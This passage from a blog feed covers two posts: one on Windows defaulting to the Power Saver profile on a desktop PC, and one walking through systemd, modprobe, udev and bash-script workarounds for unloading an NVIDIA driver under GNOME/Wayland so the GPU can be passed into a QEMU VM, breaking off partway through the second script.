<p>It was on &ldquo;Power saver&rdquo;!!!</p>
<p>How did that happen? I have absolutely no idea. REMEMBER: I had reinstalled Windows from scratch. This is right after reinstalling!!</p>
<p>On a laptop this profile makes sense, to save battery when you don&rsquo;t have an outlet. But on a desktop PC, which is my case, it makes no sense at all!! I switched to &ldquo;Ultimate Performance&rdquo; and look at the task manager now:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5hg5d85ivuxv9tw5si21wcb3hm5p" alt="cpu high"  loading="lazy" /></p>
<p>NOW WE&rsquo;RE TALKING!! Above 4Ghz!!!</p>
<p>The NORMAL range for this CPU is around 4Ghz, with Turbo Boost of 5Ghz. But in Power saver mode, it NEVER goes above 2Ghz and idles at 500Mhz. In other words, everything was <strong>TEN TIMES SLOWER</strong>, sometimes it tried to boost and was still <strong>FIVE TO TWO TIMES SLOWER</strong>. And it&rsquo;s intermittent!!!</p>
<p>Testing installing apps, browsing, etc, everything is now working normally, no freezing, no feeling of slowness. Start menu doesn&rsquo;t hang anymore - because now there&rsquo;s enough CPU to process the crap it needs in background.</p>
<h3>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CHECK POWER OPTIONS IN CONTROL PANEL!!!!</p>
<p>Again: I had JUST REINSTALLED WINDOWS. It was wiped clean and, by default, it came up in Power Saver mode.</p>
<p>I have no idea why it did that, I don&rsquo;t know if it always does that, I don&rsquo;t know if it failed to recognize the MSI motherboard, I don&rsquo;t know what combination of hardware factors can make Windows fall back to this.</p>
<p>But it&rsquo;s ALARMING that it does this without warning. There&rsquo;s no error message. There&rsquo;s no notification. It doesn&rsquo;t show up in Event Viewer. In other words, even a Power User like myself has to randomly suspect &ldquo;hmm, let me check the power profile&rdquo;.</p>
<p>Lots of people with Windows must be feeling this slowness and freezing and thinking &ldquo;hmm, my PC is just crap, I need to save up to buy another one&rdquo;, without knowing that maybe it&rsquo;s just crippled by this power profile and in reality their PC is 2x to 5x, even 10x faster and they don&rsquo;t know it! That&rsquo;s not a small difference!</p>
<p>POWER SAVER MODE is a huge piece of garbage, it has no practical use and it shouldn&rsquo;t even exist. It&rsquo;s one of those legacy things that give Windows a terrible experience - because it doesn&rsquo;t warn you.</p>
<p>Remember those 1002 hanging events error codes? If you go searching on Google, every forum will tell you to run diagnostic programs, uninstall stuff, or reinstall Windows. None of them mention anything about the power profile.</p>
<p>I hope this helps someone else!</p>
]]></content:encoded><category>microsoft</category><category>performance</category><category>hardware</category></item><item><title>NVIDIA and Wayland - Problems for PCI Passthrough in VMs</title><link>https://www.akitaonrails.com/en/2025/04/17/nvidia-and-wayland-problems-for-pci-passthrough-in-vms/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2025/04/17/nvidia-and-wayland-problems-for-pci-passthrough-in-vms/</guid><pubDate>Thu, 17 Apr 2025 19:35:00 -0300</pubDate><description>&lt;p&gt;Another article that&amp;rsquo;s mostly so I don&amp;rsquo;t forget and serves as a note to myself.&lt;/p&gt;
&lt;p&gt;In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven&amp;rsquo;t watched it, it&amp;rsquo;s at &lt;a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener"&gt;this link&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it&amp;rsquo;s more than enough.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Another article that&rsquo;s mostly so I don&rsquo;t forget and serves as a note to myself.</p>
<p>In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven&rsquo;t watched it, it&rsquo;s at <a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener">this link</a>.</p>
<p>In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it&rsquo;s more than enough.</p>
<p>This GPU loads on Linux with the driver that ships in the kernel, <code>amdgpu</code>, and is mounted as <code>/dev/dri/card1</code>. Then I added a 2nd GPU, the beefy RTX 4090 with 24GB of GDDR6X VRAM. Not enough to run the heaviest LLMs, but it can run enough. I bought it primarily for games, but I end up using it for AI and 3D rendering as well.</p>
<p>Now the concept is simple: at boot, Linux needs to ignore this card and not load the NVIDIA drivers. If it does that, I can&rsquo;t later pass it into the Windows VM. I used to edit my channel&rsquo;s videos in DaVinci Resolve, which used plugins that only work on Windows; that was one of the reasons at the time. Resolve itself works on Linux too, but many plugins don&rsquo;t. I also preferred using Photoshop, which is also Windows-only.</p>
<p>For this we configure Linux to load a fake driver, called <code>vfio-pci</code>, in place of the NVIDIA driver (or the open source alternative, Nouveau). In the other article I explain in more detail, but it&rsquo;s a huge pain to configure this by hand. I don&rsquo;t know if it still works, but at the time I also used a script that automates this, <a href="https://github.com/uwzis/GPU-Passthrough-Manager"target="_blank" rel="noopener">GPU-Passthrough-Manager</a>. It configures everything to prevent the NVIDIA drivers from loading and switches to vfio-pci correctly. I think it also works on Optimus laptops, when you have a weaker iGPU (to save battery) and a separate discrete GPU, but I haven&rsquo;t tested that in years so don&rsquo;t ask me, ask ChatGPT.</p>
<p>Since 2023 this has worked great. I have a script called <code>nvidia-locker</code> that&rsquo;s in the other article. If I want to run LLMs or Blender on my native Linux, I run that script and it removes vfio-pci and puts the NVIDIA driver back in real time, without rebooting. Then when I&rsquo;m done and need to boot into Windows, I run the script again and it unloads the driver in real time too, allowing it to be passed via PCI Passthrough to the QEMU VM. All neat and tidy.</p>
<p>That is, until a few months ago, when Arch and Manjaro updated to swap out the old legacy <strong>Xorg for Wayland</strong>. These days Wayland is much more stable, its portals work properly and I can use webcam, microphone, tablet and everything else without any problem. Everything works and, theoretically, Wayland is supposed to be better. The new GNOME 48 also turned out really good, with HDR support and all. Anyway, everything&rsquo;s pretty slick, I recommend it.</p>
<p>Except for the GNOME/Wayland combo with an NVIDIA GPU specifically in this PCI Passthrough to VM scenario. In short: boot still works normally, vfio-pci loads and hides the NVIDIA GPU. My <code>nvidia-locker</code> script also manages to hot-reload the NVIDIA driver. The problem is when I try to unload the driver to open the VM: GNOME won&rsquo;t let me.</p>
<p>Wayland is super aggressive and as soon as it detects that a new GPU has appeared, it loads the <code>gnome-shell</code> process onto that GPU. And since there&rsquo;s a process attached, there&rsquo;s no way to remove the driver hot anymore. Only by rebooting, and that&rsquo;s a pain.</p>
<p>There&rsquo;s no easy solution. I tried dozens of different things like permissions, UDEV rules, SystemD services, kernel options, but nothing prevents the damn <code>gnome-shell</code> or <code>gjs</code> (Flatpak portal) processes from latching onto the GPU.</p>
<p>There&rsquo;s only one way, kind of a hack:</p>
<ul>
<li>first, configure GDM (which loads GNOME and is the parent process) to not auto-restart automatically if it dies</li>
<li>second, switch to another TTY (Ctrl+Alt+F3, for example), kill GDM from there and only then unload the NVIDIA driver.</li>
<li>third, when the driver is swapped for vfio-pci, now the GPU is off and you can restart GDM and log back in. Just a pain that the open graphical apps will die, but it&rsquo;s faster than a full PC reboot.</li>
</ul>
<h2>1 - disable GDM auto-restart<span class="hx:absolute hx:-mt-20" id="1---disable-gdm-auto-restart"></span>
    <a href="#1---disable-gdm-auto-restart" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf &lt;&lt;EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This config prevents GDM from auto-restarting. Now I can kill it. Without doing this, if I kill GDM, it reopens too fast and there&rsquo;s no time to remove the NVIDIA driver before that.</p>
<h2>2 - Trying to keep Wayland from grabbing the GPU<span class="hx:absolute hx:-mt-20" id="2---trying-to-keep-wayland-from-grabbing-the-gpu"></span>
    <a href="#2---trying-to-keep-wayland-from-grabbing-the-gpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The GPU-Passthrough-Manager script theoretically already does this, but to be safe it&rsquo;s good to have the following:</p>
<p>First, in <code>/etc/modprobe.d/blacklist-nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Second, in <code>/etc/modprobe.d/nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The modeset option is to try to keep nvidia_drm from latching onto the GPU, but this didn&rsquo;t work either. It&rsquo;s optional, I don&rsquo;t know if there&rsquo;s a problem leaving it or removing it back to modeset=1. I think this matters more if you use the Nvidia GPU as the primary GPU where your graphical interface actually runs, especially to support Wayland correctly.</p>
<p>The other attempt is with UDEV rules in <code>/etc/udev/rules.d/80-nvidia-composite.rules</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Unified NVIDIA/AMD GPU management
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x10de&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 &gt;&gt; /etc/environment&#39;&#34;

ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x1002&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k&#39;&#34;

# New critical addition:
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;pci&#34;, ATTR{vendor}==&#34;0x10de&#34;, ATTR{class}==&#34;0x030000&#34;, ATTR{enable}=&#34;0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The idea is to try to change the chmod attributes to 000, but that didn&rsquo;t work either.</p>
<p>The last attempt was trying a Systemd service in <code>/etc/systemd/system/nvidia-lock.service</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon0/bind&#39;
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon1/bind&#39;
ExecStart=/bin/sh -c &#39;chmod 000 /dev/dri/card0&#39;
ExecStart=/bin/sh -c &#39;for card in /dev/dri/card*; do [ &#34;$(cat /sys/class/drm/${card##*/}/device/vendor)&#34; == &#34;0x10de&#34; ] &amp;&amp; chmod 000 &#34;$card&#34;; done&#39;

[Install]
WantedBy=graphical.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Same idea of trying to block Wayland via tighter permissions, but it didn&rsquo;t work either. I think there&rsquo;s no harm in leaving this running but you can skip to the next section.</p>
<h2>3. What worked<span class="hx:absolute hx:-mt-20" id="3-what-worked"></span>
    <a href="#3-what-worked" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After much testing, I now have two scripts (just to keep it less spaghetti). Here&rsquo;s the <code>nvidia-unlock</code> script that unloads the NVIDIA driver and has to be run from a different TTY than the one running GDM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="c1"># /usr/local/bin/nvidia-unlock - Improved version with session handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Store current TTY</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT_TTY</span><span class="o">=</span><span class="k">$(</span>tty <span class="p">|</span> sed <span class="s1">&#39;s/\/dev\/tty//&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">IS_GDM_RUNNING</span><span class="o">=</span><span class="k">$(</span>systemctl is-active gdm<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. Stop GDM gracefully</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Stopping GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl stop gdm
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. Kill all graphical processes</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Terminating graphical sessions...&#34;</span>
</span></span><span class="line"><span class="cl">sudo pkill -9 -f <span class="s2">&#34;gnome-shell|gjs|Xwayland&#34;</span>
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Nuclear GPU unbind</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Removing PCI devices...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.0/remove &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.1/remove &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. Purge drivers</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Unloading NVIDIA modules...&#34;</span>
</span></span><span class="line"><span class="cl">sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2&gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. Rescan PCI</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Rescanning PCI bus...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/rescan &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 6. Restore GDM if it was running</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Restarting GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl start gdm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Return to original TTY</span>
</span></span><span class="line"><span class="cl">  sleep <span class="m">3</span> <span class="c1"># Wait for GDM to initialize</span>
</span></span><span class="line"><span class="cl">  sudo chvt <span class="nv">$CURRENT_TTY</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 7. Final verification</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! lsmod <span class="p">|</span> grep -q nvidia<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ NVIDIA GPU successfully unlocked&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;❌ Failed to fully unlock GPU&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This script kills everything under GDM, GNOME Shell, the open graphical programs, everything, so don&rsquo;t leave your Libreoffice open without saving if you run this, it will kill it all. That&rsquo;s why you have to do Ctrl+Alt+F3 and run it from a separate terminal.</p>
<p>And now, here&rsquo;s my new <code>nvidia-locker</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/bin/bash</span>
</span></span><span class="line"><span class="cl"><span class="c1"># nvidia-locker - Final working version with proper TTY handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get the directory where this script lives</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configuration</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_GPU</span><span class="o">=</span><span class="s2">&#34;0000:01:00.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_AUDIO</span><span class="o">=</span><span class="s2">&#34;0000:01:00.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">PCI_PATH</span><span class="o">=</span><span class="s2">&#34;/sys/bus/pci/devices&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">DRM_PATH</span><span class="o">=</span><span class="s2">&#34;/dev/dri&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">UNLOCK_SCRIPT</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">SCRIPT_DIR</span><span class="si">}</span><span class="s2">/nvidia-unlock&#34;</span> <span class="c1"># Look in same directory</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Core Functions </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">get_driver<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">device</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    basename <span class="k">$(</span>readlink <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span><span class="k">)</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">is_gui_session<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># Returns true if running in a graphical session</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span> <span class="o">||</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$WAYLAND_DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">print_status<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> -e <span class="s2">&#34;\nCurrent GPU Status:&#34;</span>
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:2684
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:22ba
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_vfio<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔒 Binding to vfio-pci...&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_nvidia_headless<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔓 Loading NVIDIA in headless mode...&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Clear any existing overrides</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Load modules with headless options</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia <span class="nv">NVreg_InitializeSystemMemoryAllocations</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_modeset
